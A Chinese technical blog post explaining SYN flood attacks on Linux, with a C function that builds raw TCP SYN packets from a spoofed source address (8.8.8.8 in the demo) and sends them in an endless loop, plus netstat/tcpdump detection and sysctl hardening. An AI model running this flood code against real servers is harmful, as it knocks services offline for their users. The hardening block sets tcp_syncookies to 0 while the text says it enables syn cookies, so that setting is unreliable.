Linux下分析SYN flood攻击案例

今天详细分析一下SYN flood攻击的原理，首先简单回顾一下TCP/IP三次握手的过程。

1. Host A 发送一个TCP SYNchronize 包到 Host B
2. Host B 收到 Host A的SYN
3. Host B 发送一个 SYNchronize-ACKnowledgement
4. Host A 接收到Host B的 SYN-ACK
5. Host A 发送ACKnowledge
6. Host B 接收到ACK
7.TCP socket 连接建立ESTABLISHED.

SYN flood（SYN洪水攻击）
在三次握手过程中，Host B发送SYN-ACK之后，收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后，Host B转入ESTABLISHED状态.
SYN攻击就是攻击端Host A在短时间内伪造大量不存在的伪IP地址，向Host B不断地发送SYN包，Host B回复确认包，并等待Host A的确认，由于源地址是不存在的，Host B需要不断的重发包直 至超时，这些伪造的SYN包将长时间占用未连接队列，正常的SYN请求被丢弃，目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪。
SYN flood攻击是一种典型的DDos攻击。检测SYN攻击非常的方便，当你在服务器上看到大量的半连接状态时，特别是源IP地址是随机的，基本上可以断定这是一次SYN攻击.

我们可以用C语言写个程序模拟SYN flood攻击，以下为程序片段

void flood(unsigned int src_host, unsigned int dst_host, unsigned short port)
{
    struct
    {
        struct iphdr ip;
        struct tcphdr tcp;
    } packet;
                                                                     
    struct
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        struct tcphdr tcp;
    } pseudo_header;
    int sock, sinlen;
    struct sockaddr_in sin;
                                                                     
    packet.ip.ihl = 5;
    packet.ip.version = 4;
    packet.ip.tos = 0;
    packet.ip.tot_len = htons(40);
    packet.ip.id = getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol = IPPROTO_TCP;
   packet.ip.check = 0;
   packet.ip.saddr = src_host;
   packet.ip.daddr = dst_host;
    packet.tcp.source = getpid();
    packet.tcp.dest = htons(port);
   packet.tcp.seq = getpid();
    packet.tcp.ack_seq = 0;
    packet.tcp.res1 = 0;
    packet.tcp.doff = 5;
   packet.tcp.fin = 0;
    packet.tcp.syn = 1;
    packet.tcp.rst = 0;
   packet.tcp.psh = 0;
    packet.tcp.ack = 0;
    packet.tcp.urg = 0;
    packet.tcp.window = htons(512);
   packet.tcp.check = 0;
    packet.tcp.urg_ptr = 0;
    sin.sin_family = AF_INET;
    sin.sin_port = packet.tcp.source;
    sin.sin_addr.s_addr = packet.ip.daddr;
                                                                     
    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
   {
                                                                         
        exit(1);
    }
                                                                    
    for(;;)
    {
        packet.tcp.source++;
        packet.ip.id++;
       packet.tcp.seq++;
        packet.tcp.check = 0;
        packet.ip.check = 0;
       packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);
        pseudo_header.source_address = packet.ip.saddr;
        pseudo_header.dest_address = packet.ip.daddr;
        pseudo_header.placeholder = 0;
        pseudo_header.protocol = IPPROTO_TCP;
        pseudo_header.tcp_length = htons(20);
        bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);
        packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
       sinlen = sizeof(sin);
        sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);
    }
    close(sock);

在Host A上执行攻击程序，伪装源IP成8.8.8.8（google DNS），目标地址192.168.39.131的80端口

在Host B上netstat -an | grep  SYN_RECV可以看到产生大量SYN_RECV状态的连接

此时Host B收到包后连接为SYN_RECV状态，根据TCP/IP协议应该发送SYN_ACK回复给Host A，在Host B上使用tcpdump -i eth0 'tcp [13] & 2 =2'抓取，发现存在大量SYN_ACK状态的连接，
可惜源ip为伪装的地址，所以会超时重传。此时如有正常请求Host B的80端口，它的SYN包就会被Host B丢弃，因为半连接队列已经满了（耗尽内存以及CPU资源），从而达到攻击目的。

Linux kernel也提供了Syncookies 等机制来防止syn攻击，以下是具体修改的内核参数。

# default = 5
                                         
 net.ipv4.tcp_syn_retries = 3
 # default = 5
 net.ipv4.tcp_synack_retries = 3
 # default = 1024
 net.ipv4.tcp_max_syn_backlog = 65536
 # default = 124928
 net.core.wmem_max = 8388608
 # default = 131071
 net.core.rmem_max = 8388608
 # default = 128
 net.core.somaxconn = 512
 # default = 20480
 net.core.optmem_max = 81920
 # default = 1
 net.ipv4.tcp_syncookies = 0

其中net.ipv4.tcp_synack_retries, net.ipv4.tcp_syncookies, net.ipv4.tcp_max_syn_backlog作用分别是减小SYN_ACK重传次数，启用syn cookie和增加半连接队列长度。
虽然系统能在当半连接队列满时，启用syn cookie功能，但也不是可以完全防御的。因为其一，Linux kernel的协议栈本身对此类DDos攻击的防御效有缺陷；其二，如果说攻击瞬间并发量足够大，毕竟Host B的CPU、内存资源是有限的，所以一般采用专业的硬件防火墙设备。